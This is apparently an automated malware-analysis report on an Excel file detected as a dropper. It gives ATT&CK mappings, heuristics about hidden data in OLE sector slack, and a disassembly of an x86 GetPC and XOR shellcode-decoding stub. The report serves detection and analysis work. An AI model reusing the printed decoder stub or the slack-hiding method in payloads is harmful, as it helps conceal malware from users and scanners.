MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature Xls.Dropper.Agent-7370047-0. Heuristics indicate the presence of an exploit stub and a large slack region, suggesting an attempt to hide malicious code. The document body is heavily obfuscated and truncated, but the overall structure and detection point towards a dropper designed to execute a secondary payload.
Heuristics 3
-
ClamAV: Xls.Dropper.Agent-7370047-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7370047-0
-
x86 GetPC stub (CALL $+5; POP EDI) high SC_GETPC_CALLx86 GetPC stub (CALL $+5; POP EDI)
Disassembly
Attempted x86 opcode disassembly0000051E e800000000 call 0x523 00000523 5f pop edi 00000524 83c729 add edi, 0x29 00000527 66bb0735 mov bx, 0x3507 0000052B 57 push edi 0000052C 5e pop esi 0000052D 33c9 xor ecx, ecx 0000052F 66b90402 mov cx, 0x204 00000533 66ad lodsw ax, word ptr [esi] 00000535 6685c0 test ax, ax 00000538 740e je 0x548 0000053A 668bd0 mov dx, ax 0000053D 6633d3 xor dx, bx 00000540 6685d2 test dx, dx 00000543 7403 je 0x548 00000545 668bc2 mov ax, dx 00000548 66ab stosw word ptr es:[edi], ax 0000054A e2e7 loop 0x533 0000054C 52 push edx 0000054D beebb6eb75 mov esi, 0x75ebb6eb 00000552 54 push esp 00000553 635055 arpl word ptr [eax + 0x55], dx 00000556 63be12050000 arpl word ptr [esi + 0x512], di 0000055C 07 pop es 0000055D dca734000088 fsub qword ptr [edi - 0x77ffffcc] 00000563 70f3 jo 0x558 00000565 be45398c45 mov esi, 0x458c3945 0000056A 1b988c4d0fbc sbb ebx, dword ptr [eax - 0x43f0b274] 00000570 7ad1 jp 0x543 00000572 8c .byte 0x8c 00000573 723b jb 0x5b0 00000575 be53327f36 mov esi, 0x367f3253 0000057A d0 .byte 0xd0 0000057B be .byte 0xbe 0000057C 5d pop ebp 0000057D 15 .byte 0x15
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 157,972 bytes but its declared streams total only 29,612 bytes — 128,360 bytes (81%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
Open this report in the interactive analyzer, or submit your own file for analysis.